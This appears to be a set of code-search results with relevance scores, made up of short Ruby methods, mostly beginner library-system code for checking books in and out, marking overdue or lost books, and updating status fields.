[ { "docid": "4198b9e55f549bf53c1fe6f4b486b808", "score": "0.68015856", "text": "def lost?\n book.status=\"lost\" if Time.now > (book.due_date + (30*24*60*60))\n end", "title": "" }, { "docid": "23f9162d3a98df6cc4d2a6add8f9cdb8", "score": "0.6202117", "text": "def status(book)\n\t\tif book.status == \"available\"\n\t\t\tputs \"#{book.title} is not checked out.\"\n\t\telse\n\t\t\tputs \"#{book.title} is checked out. Please try again later.\"\t\t\n\t\tend \n\tend", "title": "" }, { "docid": "d5f3b25a3c1563d702d00ba3e267274f", "score": "0.604939", "text": "def update_book_copy_status_to_unassigned\n book_copy = self.book.book_copies.where(is_assigned: true).last\n book_copy.update_attributes(is_assigned: false)\n end", "title": "" }, { "docid": "8aaaf14df9c9aeb6ec228f2201af5aea", "score": "0.6038346", "text": "def off_market_check\n if status == 'on market'\n self.status = 'missed'\n update_workshifter_hours_balance\n gen_next_assignment\n elsif status == 'on market (late)'\n self.status = 'blown'\n update_workshifter_hours_balance\n gen_next_assignment\n end\n self.save!\n end", "title": "" }, { "docid": "bf36bc346e4a7592b27c5c2b32bdacd6", "score": "0.59139836", "text": "def rent_book(book)\n if book.is_free?\n book.check_out\n books_rented.push(book)\n end\n\n end", "title": "" }, { "docid": "6e34e1dab283b2682eb587b7cba7afe1", "score": "0.5835775", "text": "def set_over_due(book)\n @borrowed_books[book.title.to_sym] = book\n time = Time.now - (60 * 60 * 24 * 30)\n\n @time_table[book.title.to_sym] = time\n puts \"#{book.title} is now set to overdue\"\n end", "title": "" }, { "docid": "2af9681778d52573b0579842619ab30d", "score": "0.5780442", "text": "def update_hold_to_checkout(lib_book)\n book = Book.find(self[:book_id])\n\n if book.is_special?\n self.update({ hold: nil, special_approval: true })\n else\n if self.update({ hold: nil, start: Time.now, special_approval: false })\n lib_book.reduce_count\n end\n end\n end", "title": "" }, { "docid": "70ea8543137b59acfeb15aa6e3cda5fb", "score": "0.5761143", "text": "def check_in(book)\n book.status = \"available\"\n book.borrower.borrowed_books.delete(book.borrower.borrowed_books[book])\n end", "title": "" }, { "docid": "6491185506e83e39cafba2fd6ba65f01", "score": "0.5729053", "text": "def change_status\n\t\tif status.include?(\"available\")\n\t\t\tstatus = \"checked_out\"\n\t\telsif status.include?(\"checked_out\")\n\t\t\tstatus = \"available\"\n\t\tend\n\tend", "title": "" }, { "docid": "a14d52a8b4652865a681c6b4f250e747", "score": "0.5645633", "text": "def checkout(user, book)\n if user.can_rent_books? && book.status = \"available\"\n book.status = \"checked out\"\n book.due_date = Time.now + (7*24*60*60)\n user.checkout_book(book)\n else\n puts \"Sorry, that book can't be checked out.\"\n end\n end", "title": "" }, { "docid": "3780055bfb35dc2840e44ea43da71239", "score": "0.5633863", "text": "def lost?(state)\n done?(state) && !won?(state)\n end", "title": "" }, { "docid": "9956a4802db7ac2489b6291354687e88", "score": "0.56306535", "text": "def toggle_booking_status\n slot = Slot.find(params[:id])\n slot.update(booked: !slot.booked)\n redirect_to pretty_newsletter_slots_path(@newsletter), notice: 'Slot was successfully updated.'\n end", "title": "" }, { "docid": "487bfa53a6678ab62d8b94582218e8fc", "score": "0.5594467", "text": "def check_out(user, book)\n if user.borrowed_books.length == 2\n puts \"Sorry #{user.name}, you have already checked out two books.\"\n return \n end\n\n if book.status == \"available\"\n book.borrower = user\n user.borrowed_books.push(book)\n book.status = \"checked out\"\n puts \"#{user.name} checked out '#{book.title}' by #{book.author}.\"\n elsif book.status == \"checked out\"\n puts \"Sorry '#{book.title}' is checked out by another library member.\"\n else\n puts \"Sorry, that book is not available\"\n return \n end\n end", "title": "" }, { "docid": "ec81774ebdd57040cf5279b23fa313ac", "score": "0.5585408", "text": "def closed\n update_attribute(:status, false)\n end", "title": "" }, { "docid": "aa16fefe97dd22dcc42e3c48c8a1dbb0", "score": "0.55823857", "text": "def check_in(book)\n if book.status == \"checked out\"\n puts \"'#{book.title}' has been checked back in by #{book.borrower.name}\" \n book.status = \"available\"\n book.borrower.borrowed_books.delete(book)\n else\n puts \"'#{book.title}' is already checked in.\"\n end\n end", "title": "" }, { "docid": "3904965afc4953b7d90d65dab5c93aba", "score": "0.5578453", "text": "def check_out(borrower, book)\n if borrower.borrowed_books.size == 2\n puts \"Sorry, \" + borrower.name + \", you cannot check out any more books until you return one.\"\n elsif (book.status == \"Checked out\") \n puts \"Sorry, \" + borrower.name + \", that book is not available.\"\n else\n borrower.borrowed_books_count = borrower.borrowed_books_count + 1\n book.status = \"Checked out\"\n borrower.borrowed_books << book\n book.borrower = borrower\n puts borrower.name + \" has checked out \" + book.title + \".\"\n return borrower\n end\n end", "title": "" }, { "docid": "deade5315f1c49247261d906d0285ee6", "score": "0.5567943", "text": "def update_status_rejected\n @transaction=Transaction.find(params[:id])\n @book=Book.find(@transaction.book_id)\n @transaction.update_attribute(:status, 2)\n redirect_to @book, notice: \"Book request is rejected\"\nend", "title": "" }, { "docid": "cb54b7a0f30294be71427d3bb4581805", "score": "0.556558", "text": "def book_it\n unclaimed_reservation = rooms_available\n \n unclaimed_reservation.first.change_block_status\n \n return unclaimed_reservation.first\n end", "title": "" }, { "docid": "ab3a087f3d537271e23bc59812c840a0", "score": "0.5545411", "text": "def borrowed\n self.decrement!(:availability)\n end", "title": "" }, { "docid": "c3c1d0bed4f4bceabe32b842c62c23d6", "score": "0.55202967", "text": "def set_default_status\n self[:status] = 'unread' if self[:status].blank?\n end", "title": "" }, { "docid": "e2857d939955eb98ba9b544cae0c03bd", "score": "0.5517327", "text": "def set_status\n if !draft\n self.status = STATUS[get_status]\n end\n end", "title": "" }, { "docid": "ad4a7b7b62ad02e7e0b8fcb979aa34fa", "score": "0.54820025", "text": "def return_book(title)\n # find book instance by title\n searched_book = Book.find_by(title: title)\n # change book.available to true\n searched_book.update_column(:available, true)\n # checks to see if title is in checkouts and .checked_out == true then changes checkout.checked_out to false\n self.checkouts.find{|checkout| checkout.book.title == title && checkout.checked_out == true}.update_column(:checked_out, false)\n end", "title": "" }, { "docid": "30bd0b8eddf6d61bc9bfe019781e99a8", "score": "0.547815", "text": "def unread!\n self.update_attribute(:status, UNREAD)\n end", "title": "" }, { "docid": "353d91a89e5060888b9327f9ab6c2bbd", "score": "0.5467409", "text": "def check_out(user, book)\n if user.borrowed_books_count == 2\n puts \"Sorry, that user already has two books checked out.\"\n elsif book.status == \"checked out\"\n puts \"Sorry, that book in not available.\"\n else\n book.borrower = user\n user.borrowed_books.push(book)\n book.status = \"checked out\"\n puts \"#{user.name} has now checked out #{book.title} by #{book.author}.\"\n end\n end", "title": "" }, { "docid": "e857e922938cc73ac4a07eaf8f2b48f8", "score": "0.54542005", "text": "def unavailable!(reason = nil)\n if persisted? && reserved?\n raise Error, \"Cannot make a reserved identifier unavailable.\"\n end\n if unavailable? and reason.nil?\n return\n end\n value = Status::UNAVAILABLE\n if reason\n value += \" | #{reason}\"\n end\n self.status = value\n end", "title": "" }, { "docid": "2958be8777cd31cf8f2170d0a629f140", "score": "0.54478395", "text": "def preserve!(status = :private)\n self.status = status if self.temporary?\n self.save!\n end", "title": "" }, { "docid": "01a69e5558eb46f9d9abad0b2662761a", "score": "0.5430522", "text": "def lost? # ruby style/convention says methods that return booleans should end w/ \"?\", so can't just use attr_reader/attr_writer/attr_accessor\n @lost\n end", "title": "" }, { "docid": "bbe6cd650b99e9817a8efe302c7432c9", "score": "0.5411686", "text": "def check_out(user, book)\n# .borrowerd_books refers to the \"getter/setter\" methods defined in the Borrower class which enables\n# us to retrieve the books in the @borrowed_books array and add new ones as well. .length checks the\n# length of the the @borrowered_books array.\n if user.borrowed_books.length >= 2\n#\n puts \"Sorry, the user is only able to check out two books.\"\n return\n end\n# .status refers to the \"getter/setter\" method that retrieves and sets the instance variable @status. \n if book.status == \"available\"\n user.borrowed_books << book\n book.status = \"unavailable\"\n book.borrower = user\n else\n puts \"Sorry, that book is unavailable.\"\n end\n end", "title": "" }, { "docid": "a13fd26edce291bc822f36f1376c1a72", "score": "0.54114854", "text": "def set_status_to_available_if_nil\n self.status_constant = SupplyItem::AVAILABLE if self.status_constant == nil\n end", "title": "" }, { "docid": "e0d68ce2f0f8e81136eaca53d05c38a6", "score": "0.54005647", "text": "def loan\n # retrieve the book objet to be loaned\n @book = Book.friendly.find(params[:id])\n # check if the book is available\n if @book.available?\n @book.status = Book.statuses[:borrowed]\n @book.save\n # redirect to book show page with a success message\n redirect_to store_show_path, notice: 'You have successfully borrowed this book'\n else\n # redirect to book show page with an error message\n redirect_to store_show_path, alert: 'This book is not available, you can not borrow this'\n end\n end", "title": "" }, { "docid": "24765d628d08c324e0e9a2150402543d", "score": "0.5389021", "text": "def lose!\n\t\t@bet = 0\n\tend", "title": "" }, { "docid": "6c26cb6b1aa2a47dbdf680e285a8eea7", "score": "0.53707206", "text": "def set_book_status\n @book_status = BookStatus.find(params[:id])\n end", "title": "" }, { "docid": "b5267e8e08ca1bc2c622b75cadef2990", "score": "0.5342533", "text": "def update_old_room_status_if_room_changed\n Room.find_by(:id => room_id_was).update(:is_available => true)\n room.update(:is_available => false)\n end", "title": "" }, { "docid": "03d8eb8a7fc6941b46433dfeb39ffbfc", "score": "0.5334334", "text": "def checkout_book(title)\n # find book instance by title\n searched_book = Book.find_by(title: title)\n # change book.available to false\n searched_book.update_column(:available, false)\n # create Checkout instance with student id, book id, due date, checked_out defaults to true\n Checkout.create(student_id: self.id, book_id: searched_book.id, due_date: ((Date.today)+7))\n end", "title": "" }, { "docid": "0b311c0ed5a531d548f9f84f3e797a7f", "score": "0.5321512", "text": "def revert_to(status)\n if status == AbsenteeNotStarted\n self.county = nil\n self.town = nil\n self.zip_code = nil\n end\n end", "title": "" }, { "docid": "4e579a9af6e4ea39c1ce441217a18c32", "score": "0.53024864", "text": "def check_out(book,user)\n\t\tif user.book_count > 2\n\t\t\tputs \"Sorry! You can't check out any more books.\"\n\t\telsif user.checked_out_books.any? { |book| book.overdue? == true}\n\t\t\tputs \"Sorry! You have an overdue book.\"\n\t\telsif book.status == \"available\" \n\t\t\tbook.due_date = Time.now + (7*24*3600)\n user.checked_out_books << book\n\t\t\tuser.borrow(book)\n book.status = \"checked out\"\n\t\t\tputs \"You have checked out #{book.title}.\"\n\t\telse \n\t\t\tputs \"#{book.title} is checked out. Please check back soon.\"\n\t\tend\n\tend", "title": "" }, { "docid": "43f1393e07478fffb1c773b897fa14bd", "score": "0.5300895", "text": "def make_inactive\n self.status = \"I\"\n end", "title": "" }, { "docid": "54492709a0d915db20c0444f8a5cc5d9", "score": "0.5296846", "text": "def check_out(book, due_date)\n @borrowed_books[book.title.to_sym] = book\n max_borrowed = true if @borrowed_books.length >= 2\n\n time_table[book.title.to_sym] = due_date\n\n end", "title": "" }, { "docid": "4de1c00cbc839c2904018ecb653a2a1d", "score": "0.5274932", "text": "def return\n @book = Book.find(params[:book_id])\n @book.is_borrowed = false\n @book.user = nil\n @book.save\n redirect_to request.referrer, notice: \"You're being redirected\"\n end", "title": "" }, { "docid": "15a26370eba295ee90dc038a4464a247", "score": "0.5267689", "text": "def borrow\n if self.lent_out? == true\n# self. is a class method\n return false\n else\n self.due_date = Book.current_due_date\n @@on_shelf.delete(self)\n# Deletes due date since book is returned\n @@on_loan << self\n# This adds the book back to the shelf if it reaches the due date\n return true\n end\n end", "title": "" }, { "docid": "49ceae45804068b5b8f3ac2f3a968808", "score": "0.5225388", "text": "def is_overdue\r\n\t\tif (Time.now).to_i > book.due_date && book.status == \"Checked Out\"\r\n\t\t\tbook.status = \"Overdue\"\r\n\t\t\tputs \"#{book.title} is overdue!\"\r\n\t\telsif book.status == \"Avalable\"\r\n\t\t\tputs \"#{book.title} is available.\"\r\n\t\telse\r\n\t\t\tputs \"#{book.title} is checked out but not overdue.\"\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "e6c7c20552d4482a927f083d2b4203d8", "score": "0.5201478", "text": "def destroy\n if @book.has_reviews? \n @book.status = 'deactivated'\n @book.save\n redirect_to books_url, notice: 'Book had ratings or reviews and has been deactivated.'\n else\n destroy!\n end\n end", "title": "" }, { "docid": "53d89fd76d3d41e8c7025245b09d3dce", "score": "0.5190586", "text": "def update_room_status\n room.update(:is_available => false)\n end", "title": "" }, { "docid": "a8f6bb442e243ff5819f8e74ea1c332b", "score": "0.5189427", "text": "def book_slot\n slot.state = 1\n slot.save!\n end", "title": "" }, { "docid": "02d78d4fab877162cc9830d18743ec2a", "score": "0.518635", "text": "def closed_status\n closed_status_wording || 'Awarded'\n end", "title": "" }, { "docid": "6e3f323b8929ca6fe410f52935388f9b", "score": "0.5177651", "text": "def borrow\n # This instance method is how a book is taken out of the library. Otherwise, use current_due_date to set the due_date of the book and move it from the collection of available books to the collection of books on loan, then return true.\n # This method should use lent_out? to check if the book is already on loan,\n if self.lent_out? == false\n @@due_date = Book.current_due_date\n @@on_shelf.delete(self)\n @@on_loan << self\n return true\n else\n return false\n end\n\n end", "title": "" }, { "docid": "1d75b538a1fd4c41adfae562dbff1c0d", "score": "0.51768154", "text": "def set_lostitem\n @lostitem = Lostitem.find(params[:id])\n end", "title": "" }, { "docid": "7ef9af42ee57da0c2c5fea0ad293c362", "score": "0.51735246", "text": "def add_book(book)\n\t\t@books << book\n\t\t@book_status[book.title] = book.get_status\n\tend", "title": "" }, { "docid": "758bd9395a23f764b1e2e2368242fc2a", "score": "0.51668954", "text": "def status_final_state\n return unless status_changed?\n return unless %w(denied missed returned archived).include?(status_was)\n errors.add(:base, \"Cannot change status of #{status_was}\"\\\n \" reservation.\\n\")\n end", "title": "" }, { "docid": "b4522767d78e962e5ea87d8bfc299a75", "score": "0.51640105", "text": "def deny\n self.status = 'denied'\n save\n end", "title": "" }, { "docid": "99b6f86b5949902d8040a509f7a239d1", "score": "0.51603866", "text": "def item_status!(item)\n item['status'] = item_status(item.fetch('loc_current', ''), item['loc_n'])\n if item['status'] == 'Available'\n if offsite?(item)\n item['status'] = 'Available upon request'\n elsif reserve?(item)\n item['status'] = 'Available - On Reserve'\n elsif kindle?(item)\n item['status'] = 'Available - Libraries Kindle only'\n end\n end\n item['status'] = item['status'] + ' (Library use only)' if library_use_only?(item)\n end", "title": "" }, { "docid": "70dae9f8dfc43c38c4e3ef0e40f4653f", "score": "0.51545", "text": "def check_in(book,user)\n\n\t\tif book.status == \"available\"\n\t\t\tputs \"This book is not available for check in.\"\n\t\telse \n\t\t\tuser.checked_out_books.delete(book)\n book.status = \"available\"\t\n\t\t\tputs \"Thank you! #{book.title} is now checked in.\"\n\t\tend\n\tend", "title": "" }, { "docid": "da001f21cb66c9757e3c836d411012d8", "score": "0.5152274", "text": "def set_status!(status)\n ## FIXME_NISH Fix this.\n ## FIXED\n update(status: (status == 'true'))\n end", "title": "" }, { "docid": "a4e426f3a966e165f84db1afefcdf506", "score": "0.5150212", "text": "def set_bookstatus\n @bookstatus = Bookstatus.find(params[:id])\n end", "title": "" }, { "docid": "7d15e8fccfa65b553ff1af922e724ff6", "score": "0.5147458", "text": "def on_hold?\n status == :inactive\n end", "title": "" }, { "docid": "681c2ce88da998ad8c4156cb5c448278", "score": "0.51455903", "text": "def only_update_status_from_pending\n\t if changed.length > 1\n\t\t errors[:base] << 'You cannot modify this invitation.'\n\t\t return\n\t\t end\n\t\t\told_status = changed_attributes['status']\n\t\t\tif old_status != 'pending'\n\t\t\t errors[:base] << \"This invitation is already #{old_status||=status}.\"\n\t\t\tend\n\t end", "title": "" }, { "docid": "69e8db4bf028674a0936f821850a0b18", "score": "0.5142904", "text": "def borrowed_books\n\t\tputs \"Borrowed Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"checked_out\" }\n\tend", "title": "" }, { "docid": "3b2644e6dab3efdcf4b629c1db11b31d", "score": "0.51262254", "text": "def set_initial_status\n if self.status.blank?\n self.status = \"unsolved\"\n end\n end", "title": "" }, { "docid": "0d6fd8990d188ee5619332494c5d62aa", "score": "0.5121012", "text": "def borrow(book)\n\t\t@checked_out_books << book\n\tend", "title": "" }, { "docid": "7b95988c03844592505312d870541ae7", "score": "0.5112109", "text": "def update_on_bookshelf\n\t\tif self.changed.include? 'on_bookshelf' and self.on_bookshelf\n\t\t\tself.active = \"true\"\n\t\tend\n\tend", "title": "" }, { "docid": "80a67f98d1f14416d425413e7d398e7c", "score": "0.5101318", "text": "def update_status\n\n old_status = self.status\n\n unless self.decided?\n expected_users = self.get_current_expected\n\n if expected_users.nil?\n self.update_attribute(:status, Workflow::STATUS_DENIED)\n last_nak = self.get_last_nak\n unless last_nak.nil?\n self.update_attribute(:decided_at, last_nak.updated_at)\n end\n elsif expected_users.empty?\n self.update_attribute(:status, Workflow::STATUS_ACCEPTED)\n last_ack = self.get_last_ack\n unless last_ack.nil?\n self.update_attribute(:decided_at, last_ack.updated_at)\n end\n end\n end\n\n return (old_status != self.status)\n end", "title": "" }, { "docid": "8b121d3a9b7bc0164136cd7e30a93ae5", "score": "0.5098107", "text": "def set_default_status\n\t self.status = 0 \n\tend", "title": "" }, { "docid": "7f52e49f89e4db33a9f91e129f223a85", "score": "0.5093008", "text": "def revert\n remove_from_approved_tickets_count\n @application.update_attributes(status: 'pending')\n redirect_to admin_event_path(@application.event_id),\n flash: { info: \"#{ @application.name}'s application has been changed to pending\" }\n end", "title": "" }, { "docid": "3b8ad41c806a604525bd19ea2555ef48", "score": "0.50909424", "text": "def update_status_on_inventory_change\n if self.inventory_changed?\n if self.inventory.zero?\n self.status = :out_of_stock\n else\n self.status = :in_stock\n end\n end\n end", "title": "" }, { "docid": "02a9394c127d9fe932b220c20d834121", "score": "0.5090235", "text": "def reset_workflow_status\n self.set_association_by_code(model_status_attr_name, :draft)\n self.set_association_by_code(:workflow_status, :draft)\n self.save!\n end", "title": "" }, { "docid": "abb20d0aa873fda0abeade472f37029a", "score": "0.5088915", "text": "def pending!\n self.update_attribute(:status, PENDING)\n end", "title": "" }, { "docid": "91d9ec683896c0671dac1f95fcf46502", "score": "0.5083021", "text": "def deactivate!\n self.status = 'Inactive'\n nil\n end", "title": "" }, { "docid": "7bc0087e4735137ed580f40ac3bf873b", "score": "0.50797725", "text": "def update_book_copy_status_to_assigned\n book_copy = self.book.book_copies.unassigned_copies.where(is_active: true).first\n book_copy.update_attributes(is_assigned: true)\n end", "title": "" }, { "docid": "00b296786e7636bbbf0da61f286702b8", "score": "0.5074917", "text": "def return(book_title)\n @borrowed_books.delete(book_title.to_sym)\n @time_table.delete(book_title.to_sym)\n\n time = Time.now\n\n if time_table == {}\n @overdue = false\n else\n time_table.each_value { |due_date|\n if time >= due_date\n @overdue = true\n end\n }\n end\n end", "title": "" }, { "docid": "0541f3ad492bb6988ecd3d769ea0511d", "score": "0.50723195", "text": "def lost?\n # Fill this in\n end", "title": "" }, { "docid": "0aa66da6df67d07cb4503f26e84570a2", "score": "0.50704134", "text": "def borrowed_books\n @books.each do |book| \n if book.status == \"unavailable\"\n# book refers to an instance of the class \"book\". .title refers to the\n# \"getter\" method we created in class Book that retrieves the value of\n# instance variable, @title, which was passed a value from an instance of \n# the class Book.\n# .borrower refers to the \"getter/setter\" method(s) which retrieve and set\n# the value of @borrower is set in the check_out method (set to user)\n puts \"The book #{book.title} has been checked out by #{book.borrower.name}\"\n end\n end\n end", "title": "" }, { "docid": "20825183492b3770d1f4e340e657d60d", "score": "0.5059947", "text": "def set_status_to_pending\n self.status = :pending\n end", "title": "" }, { "docid": "a3d2c64d23aeb841d68cc630667890fb", "score": "0.505965", "text": "def player_lost\n\t\tputs \"\\nI am sorry, but you have lost!\"\n\t\tputs \"The secret number was #{self.secret_number}\"\n\t\tself.player_record[\"Losses\"] += 1\n\tend", "title": "" }, { "docid": "ccb9c2e114b86fb16ead66b102e92960", "score": "0.5056369", "text": "def set_lostfound\n @lostfound = Lostfound.find(params[:id])\n end", "title": "" }, { "docid": "d35257555fba602d687973dfe7cd2a43", "score": "0.50482714", "text": "def available_books\n @books.each do |book|\n if book.status != \"Checked out\"\n puts book.title + \" is available to check out.\"\n end\n end\n end", "title": "" }, { "docid": "1b41d4f50b80beee9f4de4daf95de581", "score": "0.50331646", "text": "def offline()\n set_status(\"OFFLINE\")\n end", "title": "" }, { "docid": "eb7ddf93eb98a01cad63cfbe8f066dbf", "score": "0.50292516", "text": "def reject\n self.update_attributes(:status => REJECTED)\n end", "title": "" }, { "docid": "295e159f9df6d671d2a5618c6dfde103", "score": "0.50276494", "text": "def check_out(book)\n if @checked_books.count < 3\n @checked_books.add book\n true\n else\n \"Could not add book id: #{book.get_id}, max no of books (3) reached.\"\n false\n end\n end", "title": "" }, { "docid": "e2ec6a7f51e5ce887bda7df32a267b86", "score": "0.5016989", "text": "def confirm_sale\n @booking = Booking.find(params[:id])\n @booking.status = \"Ticket receivd\"\n @booking.save\n redirect_to bookings_path\n end", "title": "" }, { "docid": "01c50a1ef084e382cd86bbd7f62e35ec", "score": "0.5012886", "text": "def unshelf\n\t\tif @shelf_num == nil\n\t\t\tputs \"Book is not on the shelf\"\n\t\telse\n\t\t\t@shelf_num = nil\n\t\tend\n\tend", "title": "" }, { "docid": "b872d6d5158e80a9b548cdd20be5302c", "score": "0.5008625", "text": "def checkout(b)\n\t\[email protected] do |book|\n\t\tbook.checked_out = true if book.title == b\n\tend\nend", "title": "" }, { "docid": "1c432727f20aa7de54d0c5ac8466cdda", "score": "0.50075823", "text": "def invalid_status\n\t\tinvalid = false\n\t\tif self.status_changed?\n\t\t\tinvalid = self.status_was != \"active\"\n\t\tend\n\tend", "title": "" }, { "docid": "8f2f4aecfc6849f53bd3665999eafbd8", "score": "0.50023085", "text": "def going_back_to?(new_status)\n !self.status_id.nil? && (new_status::ID < self.status::ID)\n end", "title": "" }, { "docid": "d7729715501681bfdcdf194f8a170a88", "score": "0.49991074", "text": "def check_if_lost\n\t\tif @guess_count == @number_guess + 1\n\t\t\t@game_over = 2\n\t\tend\n\t\t@game_over\n\tend", "title": "" }, { "docid": "c9c62d0ef9d7af59749b4cd31319ab04", "score": "0.49973312", "text": "def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end", "title": "" }, { "docid": "c2aa6318b1d5860e9c508a9e8ae7e180", "score": "0.49970818", "text": "def borrowed_books\n @books.select { |book| book.status == 'checked_out' }\n end", "title": "" }, { "docid": "729c92a5f1b3c1a34880adebc511ff0d", "score": "0.49885285", "text": "def set_status\n self.status = Status.find_by(code: \"OPEN\")\n end", "title": "" }, { "docid": "84c368bfaf39dd7a160d0153a0ac030b", "score": "0.49880597", "text": "def refresh_status!\n update!(:status => 'new') if status.nil?\n update!(:status => 'ack') if acked?\n update!(:status => 'nack') if nacked?\n update!(:status => 'push') if pushed?\n end", "title": "" }, { "docid": "9369ca6cf2b6dcff379545505ff509c3", "score": "0.49838993", "text": "def lent_out\n\tupdate_attributes(status: 'Lent Out')\nend", "title": "" }, { "docid": "2c02c29bd724501802fcf7623b7b64c9", "score": "0.49801686", "text": "def deactivate!\n update(status: false)\n end", "title": "" }, { "docid": "03ab3aa94b7102cf27d65476197bebb3", "score": "0.49783945", "text": "def check_out_book\n\tselect = make_selection.to_i\n\tselect = verify_book_exists(select)\n\tb = Book.find(select)\n\tif b.patron_id.nil?\n\t\tputs \"\\nPlease select patron that would like to check out book\\n\"\n\t\tshow_all_patrons\n\t\tselect = make_selection.to_i\n\t\tselect = verify_patron_exists(select)\n\t\tb.update_attributes(patron_id: select)\n\telse\n\t\tputs \"\\nThis book is already checked out\\n\"\n\tend\nend", "title": "" }, { "docid": "a31b61fb03ae19313bbfa508362476ca", "score": "0.4968368", "text": "def update_status(new_status)\n raise ArgumentError.new\"Invalid Status\" unless new_status == :AVAILABLE || new_status == :UNAVAILABLE\n @status = new_status\n end", "title": "" }, { "docid": "b2b44ace6abefbc5b20065e6f06794da", "score": "0.49678332", "text": "def updateBookCopies(book_name)\n @books.each do |book|\n if book.title == book_name\n then\n book.copies_available -= 1\n puts \"BOOK DETAILS:\"\n puts \"------------------------------------------\"\n puts \"ID: \" + book.id.to_s\n puts \"Name: \" + book.title\n puts \"Author: \" + book.author\n puts \"Publication: \" + book.publication\n puts \"Publication Year: \" + book.year.to_s\n puts \"Rack Number: \" + book.rack_no.to_s\n puts \"Total Copies: \" + book.total_copies.to_s\n puts \"Copies Available: \" + book.copies_available.to_s\n puts \"------------------------------------------\"\n end\n end\n end", "title": "" }, { "docid": "a515d98a6898de336dfea5e485e288a3", "score": "0.49650496", "text": "def changed?(old_status, prop)\n (old_status == nil && self[prop] > 0) ||\n (old_status != nil && self[prop] != old_status[prop])\n end", "title": "" }, { "docid": "03b056ab4c6453cc7b5ffa77af030195", "score": "0.49614814", "text": "def check_out(user, book)\n if user.books.length == 2\n puts \"This library patron already has two books checked out!\"\n return\n end\n if book.checked_out == false\n book.checked_out = true\n book.current_patron = user\n user.books << book\n puts \"Library patron #{user.name} has checked out \\\"#{book.title}.\\\"\"\n else\n puts \"Sorry, this books has already been checked out.\"\n end\n end", "title": "" }, { "docid": "14afae869a1fa5802c4f4d274343831a", "score": "0.49552196", "text": "def give_back(book)\n @books.delete(book)\n end", "title": "" }, { "docid": "ca603ef97142ebea2729a13c61b2dc5a", "score": "0.49522173", "text": "def update_active\n\t\tif self.changed.include? 'active' and !self.changed.include? 'on_bookshelf' and !self.active\n\t\t\tself.on_bookshelf = \"false\" #required for postgres\n\t\tend\n\tend", "title": "" }, { "docid": "e93b5d89fc9711b345def23d104b9549", "score": "0.49516684", "text": "def handle_cancel(booking_data)\n status = booking_data.xpath('./status').text();\n bookingcom_booking_id = booking_data.xpath('./id').text()\n if status == BookingcomBooking::TYPE_CANCEL\n\n Booking.find_all_by_bookingcom_booking_id(bookingcom_booking_id).each do |existing_booking|\n\n last_booking_xml = Nokogiri::XML(existing_booking.booking_xml)\n room_reservation_id = booking_data.search(\"[text()*='#{existing_booking.bookingcom_room_reservation_id}']\")\n\n if room_reservation_id.blank? and !EquivalentXml.equivalent?(last_booking_xml, booking_data, opts = { :element_order => false, :normalize_whitespace => true })\n existing_booking.status = status\n existing_booking.booking_xml = booking_data.to_s\n\n existing_booking.amount = 0\n existing_booking.save\n end\n end\n end\n end", "title": "" }, { "docid": "1cbb4a2cd3124900abbe546e9c3a7167", "score": "0.49513152", "text": "def return_book(book_to_return)\n book_to_return.check_in\n # array_count = 0\n @books_rented.each do |book|\n if book = book_to_return\n # @books_rented.delete_at(array_count)\n @books_rented = @books_rented - [book_to_return]\n else\n # array_count += 1\n end\n end\n end", "title": "" }, { "docid": "beec673e3cdf3886234fbb4ccc55a756", "score": "0.49486196", "text": "def give_back(book)\n books_out.delete_if { |book| books_out.include?(book) }\n\n end", "title": "" } ]
5c656f86d303878d202b3a589fbf1211
reduce 348 omitted reduce 349 omitted reduce 350 omitted reduce 351 omitted reduce 352 omitted reduce 353 omitted reduce 354 omitted reduce 355 omitted reduce 356 omitted reduce 357 omitted reduce 358 omitted reduce 359 omitted reduce 360 omitted reduce 361 omitted reduce 362 omitted reduce 363 omitted reduce 364 omitted reduce 365 omitted reduce 366 omitted reduce 367 omitted reduce 368 omitted reduce 369 omitted reduce 370 omitted reduce 371 omitted reduce 372 omitted
[ { "docid": "d0f7323139cbb7b91d2c5008335601e4", "score": "0.0", "text": "def _reduce_373(val, _values, result)\n (_, line), c, _, t, rest = val\n\n result = s(:if, c, t, rest).line line\n\n result\nend", "title": "" } ]
[ { "docid": "5d54341fb90a0c63c354c3d68463fbf9", "score": "0.744162", "text": "def _reduce_608(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "a8706cdc7b74be0615d378fea787974d", "score": "0.7310507", "text": "def _reduce_736(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "b5bfaa9ac4f90843659dade49827ba49", "score": "0.72915", "text": "def _reduce_724(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "f2339361d0e7049299d375de1c122616", "score": "0.7266935", "text": "def _reduce_596(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "f92abb9f5cebf666496fb34ef8a504db", "score": "0.71802264", "text": "def _reduce_723(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "c59eb1d11759ec3cd38f981a3c6ca3f7", "score": "0.71605605", "text": "def _reduce_551(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "7550aca19b12781782bd78ecddd16eed", "score": "0.7158061", "text": "def _reduce_549(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "55231a2d19c4e102147e402da232e4b4", "score": "0.7156674", "text": "def _reduce_600(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "dd458ee5bd7f974c08686357ef463ece", "score": "0.71436954", "text": "def _reduce_608(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "ef057406f56e7c344f4e75fce29c9f1f", "score": "0.7139722", "text": "def _reduce_591(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "8626a64f0f24e17dc01314105a8c48fb", "score": "0.7109083", "text": "def _reduce_596(val, _values, result)\n yyerrok\n\n result\nend", "title": "" }, { "docid": "66237a1c9db7385ab545d38f9aeb05c2", "score": "0.707112", "text": "def _reduce_367(val, _values, result); end", "title": "" }, { "docid": "8b703674148c08b116616ca97e36167d", "score": "0.7070441", "text": "def _reduce_599(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "b086f4304a96dff232c27bc9313f9665", "score": "0.7062144", "text": "def _reduce_600(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "3789625266366b21468b3bbaa7c0fbfa", "score": "0.70613295", "text": "def _reduce_363(val, _values, result); end", "title": "" }, { "docid": 